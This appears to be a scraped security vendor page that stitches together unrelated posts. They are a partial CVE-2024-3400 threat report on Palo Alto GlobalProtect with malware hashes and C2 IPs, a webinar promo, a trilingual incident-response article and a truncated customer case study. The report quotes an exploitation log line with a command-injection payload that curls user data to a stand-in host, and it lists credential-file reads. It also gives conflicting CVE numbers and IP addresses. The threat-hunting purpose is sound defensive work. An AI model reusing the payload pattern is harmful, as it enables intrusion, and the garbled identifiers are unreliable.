Notably, while exploiting CVE-2024-3400 requires the GlobalProtect gateway or portal. Palo Alto has warned that disable the device telemetry is not an effective mitigation. 

#### 2. Threat Hunting Tools

As state actors have actively exploited CVE-2024-3400, our vulnerability research team prepare two scanners for our customers to check if your devices has been attacked by the threat actors, including:
- Nuclei-based UPStytle webshell scanner
- Nuclei-based scanner to check if your device is compromised via XStealer

Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads).

## Possible Attack Scenario

Threat actors have been actively exploiting CVE-2024-3400 since March 2024. We recommend our customer to check the PAN-OS CLI to find out if your device was attacked by the threat actors with following command:

```
> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
message:"failed to unmarshal session(./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user
```

Specifically, our telemetry identified at least two APT groups, including China-nexus APT SLIME60 and a newly identified APT group, SLIME61.


#### 1.SLIME60

SLIME60 has exploited CVE-2024-3400 since late April, 2024. The target scope includes manufacturing industry in Taiwan and education, medical, and manufacturing industry in Japan. In the attack, we identified three samples (Sample 1-3) of a new infostealer, XStealer. 

|XStealer|SHA-256|
|-|-|
|Sample 1|5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8|
|Sample 2|2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7|
|Sample 3|8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317|

At runtime, XStealer can collect the network infra, access credential, and execute Linux commands to collect the system information. Such commands include: `whoami`, `/etc/passwd`, `/etc/host`, `hostname`, `ifconfig`, `uname`, `/etc/issue/`, `/etc/shadow`, `netstat, arp`, `ps`, `df -a`, `/etc/resolv.conf`, `crontab -l`, `bash_history`, `last -n 30`.

Notably, according to Chinese characters in the scripts, we hold high confidence that SLIME60 is originated from China.

Our customer can check the following path to find out if your devices is compromised by SLIME60: https://PA_OS_IP/global-protect/portal/css/results.css. We also provide a nuclei-based scanner for our customers. The scanner can be downloaded the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).

#### 2. SLIME61

SLIME61 (aka UTA0218) has exploited CVE-2024-2400 as zero-day with UPStyle web shell in several attacks, including an attack against manufacturing industry in Saudi Arabia. Specifically, we identified four UPStyle[6] samples: Sample 4 and 5 are UPStyle web shells, whereas Sample 6 and 7 are UPStyle droppers that will drop a child sample (Sample 8) to `/usr/lib/python3.6/site-packages/system.pth`. The child sample is an UPStyle web shell.

|UPStyle|Feature|SHA-256|
|-|-|-|
|Sample 4|Web shell|ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3|
|Sample 5|Web shell|710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb|
|Sample 6|Dropper|3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac|
|Sample 7|Dropper|949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605|
|Sample 8 (Child Sample)|Web shell|661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34|

The C2 of the attacks are 144.172.79.92 and 172.233.228.93. Pivoting from the C2, we found more IP used by SLIME61:
- 66.235.168.222
- 89.187.187.69

We provide UPStyle scanner for the customers to check if your devices has been targeted by SLIME61. Our customers can download the tool from [Threat Hunting Tools](https://threatvision.org/downloads) (for TeamT5's customers).


### Appendix I: Malware Table

Below malware table summarize the malware used in attacks related to CVE-2023-26360.

<table>
 <tr>
 <th>Name</th>
 <th>Type</th>
 <th>Description</th>
 <th>Attribution</th>
 <th>First Seen</th>
 </tr>
 <tr>
 <td>UPStyle</td>
 <td>Web shell</td>
 <td>UPStytle is a web shell specified for Palo Alto SSL VPN (PAN-OS). Actors send a request to Palo Alto VPN service to generate crafted error log, and UPStyle parse the error log to execute arbitrary commands.</td>
 <td>SLIME61</td>
 <td>2024.04</td>
 </tr>
 <tr>
 <td>XStealer</td>
 <td>Infostealer</td>
 <td>XStealer is a generic information stealer specifed for UNIX-like platform, and it collects system information such as process list, network status, login credential, etc. Then, XStealer store those information into CSS file.</td>
 <td>SLIME60</td>
 <td>2024.04</td>
 </tr>
</table>

### Appendix II: Indicators of Compromise (IoC)

hash

```
3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
661b77ece99938090582d2e92e96417b20c2a7410bcc95e7f3959f40be066b34
949cfa6514e499e28aa32feba800181558e60455b971206aa5aa601ea1f55605
ab3b9ec7bdd2e65051076d396d0ce76c1b4d6f3f00807fa776017de88bebd2f3
710f67d0561c659aecc56b94ee3fc82c967a9647c08451ed35ffa757020167fb
5f4699232d6c95cb4b4b6390998fc754a751c6018d9fd79f22bf423de2430ca8
2cae066e5239bb69bdb7a7f36374e2493793576024c51e06f046a61f990ffce7
8ef883085b48c0e1b733640d171ebc574ddfd5a231620f10926f83573abe4317
```


IP

``` 144.172.79.9 ``` 
``` 172.233.228.93 ``` 
``` 66.235.168.222 ``` 
``` 89.187.187.69 ```

### Appendix III: Other critical CVEs

Below link of another TeamT5 vulnerability report, **Patch Management Report (PMR)**. Published every two weeks (or more), the PMR will provide our customers with concise yet comprehensive updates on the most critical and exploitable vulnerabilities selected by TeamT5 vulnerability research team during the period. Each vulnerability will be provided with patch information. If you are interested in subscribing to this new report series, please contact TeamT5 for more information.

[Patch Management Report](https://threatvision.org/reports/vulnerability/pm-report/pmr-detail?pmReport=2023-Apr-2)

 

##Reference
1. https://github.com/pwnj0hn/CVE-2024-3400/blob/main/main.py
2. https://security.paloaltonetworks.com/CVE-2024-3400 
3. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
5. https://threatvision.org/downloads
6. UPStyle first identified and named by Volexity during the investigation on SLIME61’s attacks exploiting CVE-2024-3400. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

>**Threat Analyst Summit 2024 : Call for Presentations !**

>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.

>With the rapid evolution of ICT, TeamT5 encourages pioneering research that addresses not only technical challenges but also the legal, policy, economic, psychological, and societal aspects of cybersecurity. We invite you to submit presentations.

>- Final Deadline for Submissions: August 15, 2024, 22:00 UTC+8 (14:00 UTC+0)
>- More info: [link](https://tas2024.teamt5.org/CFP?utm_source=event&utm_medium=website)

CVE-2024-3400: Palo Alto GlobalProtect の脆弱性

Threat Intelligence

Are underground organizations on the dark web selling your account information without your knowledge? If targeted by cybercriminals, leaked account credentials could be the final straw that brings down your company's critical infrastructure.

Join TeamT5 in this webinar as we explore the criminal aspects of the dark web and demonstrate how dark web intelligence products can be leveraged to reduce risks and help businesses stay ahead of threats. Don't miss this opportunity to learn how to safeguard your organization from unseen dangers.


**Fill out the form and you can have the recording link.**

**Form:** https://bit.ly/3z4GigW


[Webinar Recording] Unveiling the Dark Web: Protecting Your Business from Hidden Threats

資安事件常發生在細微之處，如果不特別注意，很可能無法及時應變與處理。

作為 ATT&CK 攻擊框架的提出者，美國資安非營利組織 [MITRE 卻也面臨了 APT 的攻擊事件](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs)。

從 2024 年 1 月開始，威脅行為者透過兩個 Ivanti Connect Secure 零日漏洞：CVE-2023-46805 和 CVE-2024-21887，偵查 MITRE 組織旗下的網路，並挾持連線階段（Session），繞過雙因素身份驗證流程，藉著橫向移動，深入挖掘 MITRE 網路的 VMware 基礎架構，同時使用複雜的後門和 webshell，以便持續存取 MITRE 內部網路環境，取得帳密資料。

##資安事件的過去、現在與未來
MITRE 處理此資安事件的過程，值得我們去探討與學習。其一，組織要防堵資安事件的發生，偵測（Detection）是非常重要的，需要即時偵測場域中的異常行為；其二，利用網路隔離不讓攻擊者直搗核心，讓傷害在可控範圍內。更重要的是威脅情資（Threat Intelligence），當漏洞發生時，可以對場域做評估與處理。在與攻擊者交戰（Adversary Engagement）過程中，該怎麼採取措施，讓損害降到可以控制的範圍內。

當資安事件發生，透過一系列的事件處理流程，不外乎是從資安事件的「**過去**發生什麼事？」、「**現在**該如何應處？」以及「**未來**如何強化應對？」三面向來了解：
- 攻擊者最初的進入存取點為何？
- 攻擊者是否有散播到其他資源？例如橫向移動是如何傳播？
- 攻擊者是否已在環境中立足？如果是，持續控制的方式為何？
- 對於企業的衝擊為何？例如個資外洩等。
- 如何可以防止不被再次攻擊？

##先一步掌握攻擊過程，擬定資安維運策略

根據 TeamT5 長期以來資安事件處理的經驗，攻擊初始多肇因於帳號密碼外洩，漏洞也是重要成因。對於資安人員來說，每天要注意的不僅是攻擊組織帶來的資安威脅，更需要掌握場域內的資產狀況，特別關注資產相關的最新漏洞資訊。此外，藉由掌握攻擊者的攻擊過程，並落實在日常資安維運，提升組織防禦能力。

從[網路攻擊鏈（Cyber Kill Chain）](https://teamt5.org/tw/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website)可掌握資安事件發生前、事中到事後的各個環節。網路攻擊者透過偵查了解環境、研究曝險弱點，進入環境安裝內網滲透工具，最後根據攻擊者的最終目標，採取行動，例如 APT 藉由潛伏環境竊取機敏資料、勒索軟體則加密核心重要資訊等。

相對應攻擊事件的過程，我們可從美國國家標準與技術研究所（NIST）所發布的網路安全框架 [CSF 2.0](https://www.nist.gov/cyberframework)，歸納出場域管控可依循的標準、對策及防禦措施：

 
![pic_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg](https://uploads.teamt5.org/upload/original/pic_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)

 

在事前，透過紅藍隊演練來了解場域中，有哪些資產可能會有風險，及早準備。當資安事件發生，需要偕同外部事件應變專家協處，了解攻擊來源、後續阻擋、事件分析等，雙方之間的協作也很重要。這些對策和防禦措施統整之後，才能在事件發生時做有效應變。

## 攻擊者虎視眈眈，如何強化資安韌性？
[Gartner 發佈 2024 年網路安全重要趨勢](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024)中，特別強調資安韌性（Resilience）的重要。根據 [NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf) 所定義的網路韌性，是當組織遭遇網路攻擊時，可能會面臨到的狀況，例如服務中斷、資料外洩、加密勒索等，該組織處理與復原的能力，以及如何增強面對未來攻擊的防禦能力。

因此，要強化資安韌性，就必須考量到如何優化事件回應規劃。例如事件調查耗費時間，如何在短時間內做回應？同時，被攻擊後如何快速恢復系統運作？因此優化與協力廠商的合作極為重要，才不會在事件發生時手忙腳亂。

藉由事件處理的經驗，可以檢視以下面向，提早準備以強化資安韌性、降低損害：
1 資產安全狀況：場域中有多少資產受網路衝擊？狀況如何？
2. 攻擊面分析：場域中可能被攻擊者利用的進入點分析研判。
3. 掌握威脅情資：掌握與組織相關的威脅情資，例如 APT、暗網、勒索族群等，對於資產會造成什麼影響？
4. 判定風險優先順序：就所掌握的資訊，研判場域風險狀況，提供後續應變處理所需建議。
5. 風險處置管理：針對重要資產的備份恢復、調查所需資料取證，在事件可控狀態下，恢復營運，並完善事件調查所需程序。
6. 掌控場域狀況：針對所採取的應變措施，持續監控掌握場域狀況，觀察是否仍有惡意攻擊，並清掃場域中隱藏的惡意威脅。


> 更多 TeamT5 資安事件應變處理服務：[立刻了解](https://teamt5.org/tw/service/ir/?utm_source=blog&utm_medium=website)

如何從資安事件應變處理，提升資安防禦韌性？

Cybersecurity incidents often occur in subtle places. If you don’t pay special attention, you may not be able to respond and contain them in time.

As the developer of the MITRE ATT&CK framework, non-profit organization [MITRE has also faced APT attacks](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs).


Starting in January 2024, hackers exploited two zero-day vulnerabilities in Ivanti Connect Secure—CVE-2023-46805 and CVE-2024-21887—to perform reconnaissance on the MITRE organization's network and bypass the multifactor authentication (MFA) protecting the system with session hijacking. The attackers moved laterally and dug deep into MITRE network’s VMware infrastructure using a compromised administrator account and deployed complex backdoors and webshells to gain persistent access to credentials.

##The past, present and future of cybersecurity incidents
MITRE's response process of this cybersecurity incident is worth discussing and learning from. First, if organizations would like to prevent the occurrence of incidents, detection is very important. Real-time anomaly detection is necessary. Second, network isolation is used to prevent attackers from getting to the core, allowing the damage to be within control. What is more important is threat intelligence feeds, which make it possible to evaluate and handle the vulnerabilities. In the process of adversary engagement, organizations should consider how to take measures to minimize the damage.

When a cybersecurity incident occurs, through a series of incident response processes, it is nothing more than three aspects of the incidents: "What happened in the **past**?", "How to deal with it **now**?" and "How to strengthen the response in the **future**?" to figure out:
- What is the attacker's initial access point?
- Did the attacker spread to other resources? If so, how did lateral movement happen?
- Has the attacker gained a foothold in the environment? If so, what is their method of persistence?
- What impact do breaches have on businesses? For example, credentials leakage, etc.
- How can this be prevented next time?

##Understand cyber kill chain and formulate security maintenance strategies
According to TeamT5’s long-term experience in handling incidents, initial attacks are often caused by credential leakage and vulnerabilities. For cybersecurity personnel, their daily work not only requires close attention to security threats posed by adversaries, but also the state of digital assets in the environment, especially on the latest vulnerability information related to their assets. In addition, by understanding the attack process and implementing the measures in daily cybersecurity maintenance, the organization's defense capabilities can be improved.

From the [cyber kill chain](https://teamt5.org/en/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website), you can understand all aspects before, during, and after the occurrence of a security incident. Attackers understand the environment through reconnaissance, researching exposed vulnerabilities, entering the environment to install intranet penetration tools, and finally taking actions to attain the attacker's ultimate goal. For example, APT involves stealing credentials through lurking in the environment, and ransomware is used to encrypt important data, etc.

Corresponding to the process of the attack incident, we can summarize the standards, countermeasures and defensive measures that can be followed security control from the [Cyber Security Framework (CSF) 2.0](https://www.nist.gov/cyberframework) released by the National Institute of Standards and Technology (NIST):

 
![pic_en_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense](https://uploads.teamt5.org/upload/original/pic_en_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)
 


During the pre-compromise process, organizations can get prepared by adopting red team/blue team simulations to understand which assets in the environment may be at risk. When an incident occurs, it is necessary to work with external incident response experts to understand the source of the attack, follow-up prevention, incident analysis, etc. Collaboration between the two parties is also very important. Only after these countermeasures and defense measures are integrated, effective responses can be taken when an incident occurs.

##How do we strengthen security resilience?
According to the[ top cybersecurity trends for 2024 released by Gartner](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024), the importance of security resilience is particularly emphasized. Cyber resilience, as defined by [NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf), refers to the organization’s ability to anticipate, withstand, recover from and adapt to attacks, such as service interruption, data leakage, encryption ransomware, etc. and defense against future attacks.

Therefore, to strengthen security resilience, we must consider how to optimize incident response planning. For example, since incident investigation takes time, how can we respond in a short time? Meanwhile, how can we quickly restore system operations after being attacked? Therefore, it is extremely important to optimize cooperation with third parties so that you will not be in a fluster when an incident occurs.

ThroughTeamT5’s experience of incident response, we suggest organizations to examine the following aspects and prepare in advance to strengthen the security resilience and reduce risks of damage:
- **Asset security status**: Which assets in the environment are impacted by cybersecurity incidents? What is the situation?
- **Attack surface analysis**: Analysis and identifications of initial points in the environment that may be exploited by attackers.
- **Threat intelligence**: What impact will these threat intelligence related to the organization, such as APTs, darknets, extortion groups, etc. impact on our assets?
- **Determine risk priorities**: Based on the information, organizations can evaluate the risk status of the site and have suggestions for subsequent contingency measures.
- **Risk management**: Backup and restore important assets, collect evidence required for investigation, resume operations when the incident is controllable, and improve the procedures required for incident investigation.
- **Control the security situation**: Based on the contingency measures taken, continuously monitor and control the situation of the environment, observe whether there are still malicious attacks, and eliminate hidden malicious threats.

 

>Learn more about [TeamT5 Incident Response Services](https://teamt5.org/en/service/ir/?utm_source=blog&utm_medium=website)

How to enhance security resilience from the process of incident response?

サイバーセキュリティインシデントは、多くの場合が不意を突かれることで発生します。注意を払わなければ、対応や封じ込めに時間がかかってしまう可能性があります。

アメリカの非営利団体 MITREは、MITRE ATT&CK フレームワークの開発者ですが、 [APT 攻撃に直面しています](https://www.darkreading.com/endpoint-security/mitre-attacked-infosecs-most-trusted-name-falls-to-ivanti-bugs)。

2024年1月から、ハッカーはIvanti Connect Secureの2つのゼロデイ脆弱性（CVE-2023-46805とCVE-2024-21887）を悪用し、MITRE組織のネットワーク上で偵察を行い、セッションハイジャックによってシステムを保護する多要素認証（MFA）を回避しました。攻撃者は横方向に移動し、侵害された管理者アカウントを使用してMITREネットワークのVMwareインフラストラクチャに深く潜り込み、複雑なバックドアとWebシェルを展開して認証情報への永続的なアクセスを獲得しました。

##サイバーセキュリティインシデントの過去、現在、未来
このサイバーセキュリティインシデントに対するMITREの対応プロセスは、議論し学ぶ価値があります。まず、組織がインシデントの発生を防ぎたい場合、リアルタイムの異常検知が非常に重要です。次に、攻撃者からの攻撃を防ぐためには、攻撃者がコアに到達するのを防ぐためにネットワークの分離を行いう必要があります。さらに重要なのは、脅威インテリジェンスのフィードであり、これにより脆弱性を評価し、対処することが可能になります。

サイバーセキュリティインシデントが発生した場合、一連のインシデント対応プロセスを通じて、「過去に何が起こったのか」「今、どのように対処するのか」「今後、どのように対応を強化するのか」3つのを念頭に置く必要があります：

- 攻撃者の最初のアクセス ポイントはどこか?
- 攻撃者は他のリソースに拡散したのか? 感染した場合、ラテラルムーブメントはどのように起こるのか?
- 攻撃者はその環境に足場を築いたのか? その場合、どのように維持しているのか?
- 認証情報の漏洩など、侵害は企業にどのような影響を及ぼすのか?
- 次回はどのように攻撃を防ぐのか？


##サイバーキルチェーンを理解し、セキュリティ維持戦略を策定する

TeamT5のインシデント対応における長期的な経験によれば、初期の攻撃は多くの場合、認証情報の漏洩や脆弱性によって引き起こされます。サイバーセキュリティ担当者にとって、日々の業務では、攻撃者がもたらすセキュリティ上の脅威に細心の注意を払うだけでなく、環境内のデジタル資産の状態、特に資産に関連する最新の脆弱性情報にも注意を払う必要があります。また、攻撃のプロセスを理解し、日々のサイバーセキュリティのメンテナンスにおいて対策を実施することで、組織の防御力を向上させることができます。


[サイバーキルチェーン](https://teamt5.org/jp/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website)から、セキュリティインシデントの発生前、発生中、発生後のすべての側面を理解することができます。攻撃者は、偵察を通じて環境を把握し、暴露された脆弱性を調査および環境に侵入してイントラネット侵入ツールをインストールして、最終的に目標を達成するための行動を実行します。例えば、APTは、環境に潜伏して認証情報を盗み出したり、ランサムウェアを使って重要なデータを暗号化することに使用されます。

攻撃インシデントのプロセスに対応し、米国国立標準技術研究所（NIST）が発表[したサイバーセキュリティフレームワーク（CSF）2.0](https://www.nist.gov/cyberframework) から、セキュリティコントロールに沿った基準、対策、防御策をまとめることができます：

**TeamT5 インシデント対応サービスの詳細について**
![pic_jp_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg](https://uploads.teamt5.org/upload/original/pic_jp_how-to-respond-to-cybersecurity-incidents-and-improve-the-resilience-of-cybersecurity-defense.jpg)
 


侵害前のプロセスにおいて、組織はレッドチーム／ブルーチームによるシミュレーションを採用し、環境内のどの資産がリスクにさらされる可能性があるかを理解することで、準備を整えることができます。また、インシデントが発生した場合は、外部のインシデント対応専門家と連携し、攻撃源の把握、事後対策、インシデント分析などを行う必要がるので、両者の連携も非常に重要です。これらの対策や防御策が統合されて初めて、インシデント発生時に効果的な対応が可能になります。

##サイバーレジリエンスを高めるには？
[Gartner が発表した 2024 年のサイバーセキュリティのトップトレンドによると](https://www.gartner.com/en/newsroom/press-releases/2024-02-22-gartner-identifies-top-cybersecurity-trends-for-2024)、サイバーレジリエンスの重要性が特に強調されています。[NIST](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf) が定義するサイバーレジリエンスとは、サービスの中断、データ漏えい、暗号化ランサムウェアなどの攻撃を予測し、それに耐え、回復し、適応する組織の能力と、今後の攻撃に対する防御力を指します。

したがって、サイバーレジリエンスを強化するには、インシデントの調査には時間がかかるため、いかに短時間で対応するか、攻撃を受けた場合はどのようにシステム復旧を迅速に行うかなど、インシデント対応のプロセスをいかに最適化するかを考える必要があります。そのためには、インシデント発生時に慌てないよう、第三者との連携を最適化することが非常に重要です。

TeamT5のインシデント対応の経験を通して、私たちは、組織がサイバーレジリエンスを強化し、被害のリスクを軽減するための以下の点を検討し、事前に準備することを提案いたします：
- **資産セキュリティの状況**: 環境内のどの資産がサイバーセキュリティインシデントの影響を受けているのか?
- **攻撃対象領域の分析**: 攻撃者によって悪用される可能性のある環境内の第一ポイントの分析および特定
- **脅威インテリジェンス**: APT、ダークウェブ、恐喝グループなど、組織に関連するこれらの脅威インテリジェンスは、企業の資産にどのような影響を及ぼすのか？
- **リスクの優先順位の決定**: 情報に基づいて、サイトのリスク状態を評価し、その後の緊急時対応策についての提案をする
- **リスク管理**: 重要な資産のバックアップと復旧、調査に必要な証拠の収集、インシデントが制御可能になった場合の業務の再開、インシデント調査に必要な手順の改善
- **セキュリティ状況の管理**: 不測の事態への対策に基づき、環境の状況を継続的に監視ならびに管理し、悪意のある攻撃がまだ行われていないかどうかを観察して、隠れた悪意のある脅威を排除する

インシデント対応のプロセスからサイバーレジリエンスを強化するには?

IR Service Resources

>日本最大資安解决方案提供商 Macnica Networks 提供的「Mpression 威脅狩獵服務」，是由資安分析師針對 TeamT5 杜浦數位安全研發之 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 掃描結果，進行分析，並為客戶執行威脅獵捕。
>
>此外，透過整合長期累積威脅情資所創建的客製化特徵偵測，對於針對日本攻擊的偵測率能有效提升。威脅獵捕服務提供單次掃描和年度訂閱制。

##亮點
- 透過獨特 AI 偵測技術，並由分析師進⾏分析，獵捕繞過既有安全產品檢測的進階針對性攻擊。
- 調查 20,000 台設備，建⽴從資訊收集，到偵測與回應的診斷⽣命週期
- 針對無 IT 管理者的海外據點，提供端點安全可視化

## 伊藤忠商事 ITCCERT 專注於事件防禦
近年來，由於犯罪目的趨於產業化，網路攻擊變得更加進階和複雜，針對企業和組織的攻擊已成為管理風險。此外，以牟利為標的的勒索軟體和電子郵件詐騙等攻擊，是許多公司常遭遇的威脅。因此，近年來越來越多組織成立電腦資安應變小組（Computer Security Incident Response Team, CSIRT），以應對各種資安事件。

伊藤忠商事 CSIRT 於 2012 年成立，名為「ITCCERT」。其中的「R」包含三元素：準備（Readiness）、回應（Response）、恢復（Recovery）。「ITCCERT」是在 IT 規劃部門內所創建的虛擬組織，負責管理和營運公司網路。

伊藤忠商事 IT 規劃部門 ITCCERT 資深網路安全分析師佐藤元彥表示：「ITCCERT 專注於網路安全運營，重點放在事件預防、回應、分析和防範事件再發生。伊藤忠商事集團內 300 多家公司其中任一家提出需求，ITCCERT 會直接提供支援。」

伊藤忠商事有集團系統，旗下每家公司都有自己的資訊系統部門。但當網路安全事件發生時，ITCCERT 會率先回應。此外，ITCCERT 持續監控網路通訊和從公司外部發送的電子郵件。透過根據 Macnica 累積的知識和內部制定的檢測規則，能夠掌握現有安全產品無法檢測到的威脅特徵，並不斷新增能檢測類似攻擊的規則。

透過獨立情資獲得惡意軟體通訊的目標和 Hash 等資訊，可用於保護伊藤忠商事，並防止公司發生安全事件。 
「ITCCERT 專注於事件預防，『預防事件至關重要』是我們每日工作的信念，」佐藤先生強調。

##伊藤忠商事的威脅狩獵服務
另一方面，伊藤忠商事子公司及其海外據點所使用的網路，與總部不同，因此資安防禦措施無法產生直接效果。為此，ITCCERT 專為集團內公司和海外地點，成立「I」系列網路安全計畫。

這計畫內容廣泛，包括 URL 過濾服務、電子郵件詐騙預防工具、特定網路安全風險評估，以及可立即在實際工作中發揮作用的專題討論會。其中一項服務 -「I」Discovery，是一項端點安全服務，可檢查裝置上隱藏的惡意軟體。自 2017 年 10 月推出以來，已有 20,000 多台裝置威脅檢測的追蹤記錄。其核心技術採用 Team T5 所開發的威脅狩獵工具「ThreatSonar」。

##威脅鑑識技術，收集威脅狩獵重要資訊
ThreatSonar 能快速收集電腦取證所需的資料，包括裝置上正在運行的程式、已刪除的檔案、記憶體中的資料。透過 TeamT5 自行研發的引擎，分析收集到的資訊，能精準揪出可疑檔案。

其 AI 導向的獨特行為模型，可徹底調查一般特徵導向的防毒軟體無法偵測到的可疑行為。ITCCERT 人員具備專業知識，藉由分析所收集到的資訊，可找出現有防毒軟體無法偵測到的隱藏惡意軟體。此外，透過 ITCCERT 與各子公司資訊系統部門共同分析檢測結果，Macnica 能夠快速確認適當的應對措施。

##發現現有端點安全無法偵測到的威脅
在各種端點安全方法中，佐藤先生選擇了 ThreatSonar，因其基礎技術並非防毒，而是一款可以顯著提升安全等級的優異軟體。

伊藤忠商社擁有 300 多家子公司、約 10 萬名員工。此外，作為貿易商，成立合資企業、資本和業務策略聯盟等商業活動也很活躍。因此，伊藤忠商社不強制安裝特定的端點安全產品，而是各公司依自己的需求，安裝最適合的產品。所有公司唯一的共同點，就是都安裝了防毒產品。

「新世代防毒產品仍是防毒的延伸。防毒軟體廠商在技術上各有優劣，很難全面消除所有威脅。對我來說， ThreatSonar 是極具吸引力的資安產品，能夠使公司在使用既有防毒軟體下，同時利用 ThreatSonar 的獨特功能偵測威脅。」

當 Macnica 開始提供「I」Discovery 服務，超過 50 家集團公司自願申請使用該服務。超過一半申請該計劃的公司，完成單次掃描。一些公司則開始進行定期掃描。定期執行「I」Discovery 的子公司資訊系統部門表示，對於能夠確認其設備，未受到現有資安產品無法檢測到的未知或被規避的攻擊，感到滿意。

##易於部署，是擴展至其他集團公司的決定性因素
ThreatSonar 不需要任何安裝。它只需派送並執行輕量掃描程式，就可在背景執行，使用者不需要具備任何相關專業知識或操作技能。

另一個優點則是運作時通訊輕量化，網路負載較小，不存在與作業系統或應用程式衝突或環境相依度等問題。」佐藤先生表示。

##即使在資源有限的海外據點，也能建立資安監控系統
從實際報告中發現，透過實施「I」Discovery，發現了隱藏在合法程式中多年的銀行惡意軟體。佐藤先生認為，這更能確定，該系統不僅可以檢測運作中的惡意軟體，還可以檢測使用者已安裝的潛在惡意軟體和高風險軟體。

此外，海外員工也採用「I」Discovery。部分海外據點可能沒有 IT 管理人員，或甚至只有一名外籍員工。此外，海外據點裝置所使用的 Windows 作業系統版本和語言也有所不同。 ThreatSonar 的優點之一，是可以輕鬆部署在此類環境中，且不會有執行問題。

最後，佐藤先生表示，ITCCERT 正考慮未來在「I」Discovery上應用自訂特徵，以進一步強化伊藤忠集團的資安。

##關於客戶
**伊藤忠商事**

伊藤忠商事成立於 1858 年，創辦人伊藤忠兵衛從亞麻貿易業務起步。之後，在大阪經營和服和貨物業務，奠定了事業基礎。目前伊藤忠商事在日本等全球 65 個國家，擁有約 130 個據點，為紡織、機械、金屬、能源、化工、食品、住宅、資訊、保險、物流、建築和金融等領域的大型企業，業務範圍廣泛，包括進出口和三邊貿易，以及國內外商業投資。

**官網**：https://www.itochu.co.jp/

**接受採訪者**：

伊藤忠商事 IT 規劃部門 技術管理辦公室
 
ITCCERT 資深網路安全分析師
 
佐藤元彥

 
 

>原文出自： [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)

【實務案例】ITOCHU 伊藤忠商事 CSIRT 將威脅狩獵服務擴及海外據點

>Macnica Networks offers a "Mpression Threat Hunting Service" in which the security analysts analyze the scan results from TeamT5's [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website) and perform threat hunting on behalf of customers. Additionally, by incorporating custom signatures created based on the threat intelligence Macnica has accumulated, Macnica aims to improve the detection rate of attacks targeting Japan.
>
>The threat hunting service offers "one-time" scan and "annual" subscription.

##Point
- Advanced targeted attacks, designed to bypass existing security products, are detected by unique detection using AI technology and analysis by analysts.
- Investigated 20,000 devices and built up a diagnostic lifecycle from information collection to detection and response
- Visualize the security of endpoints at overseas locations where there is no IT administrator

## ITOCHU Corporation's ITCCERT focuses on incident prevention
In recent years, cyber attacks have become more advanced and complex due to the industrialization of criminal purposes. Attacks targeting companies and organizations have to face the management risks.
In addition, attacks aimed at making money, such as ransomware and business email fraud, are a familiar threat to many companies.

Therefore, recently more and more organizations establish a CSIRT (Computer Security Incident Response Team) to deal with cybersecurity incidents. ITOCHU Corporation launched the CSIRT in 2012 and named it as "ITCCERT". “R” includes three elements: Readiness, Response, and Recovery.

"ITCCERT is a virtual organization created within the IT Planning Department that manages and operates the company's networks. ITCCERT specializes in cybersecurity operations, focusing on incident prevention, response, analysis, and recurrence prevention. We will also provide direct support if any of the more than 300 ITOCHU Group companies request support," says Motohiko Sato, Senior Cyber Security Analyst at ITCCERT, Technology Management Office, IT Planning Department, ITOCHU Corporation.

ITOCHU Corporation has a corporation system, and each company within the corporation group has its own information system department, but when a cybersecurity incident occurs, ITCCERT takes the lead in responding.

Additionally, ITCCERT constantly monitors network communications and emails sent from outside the company. By setting its detection rules based on the knowledge Macnica accumulated in-house, users can grasp characteristics that cannot be detected by existing security products, and constantly create rules that can detect similar attacks when occur.

Information such as malware communication destinations and hashes obtained through independent intelligence activities is used to protect ITOCHU Corporation and prevent cyber security incidents occurring. 　

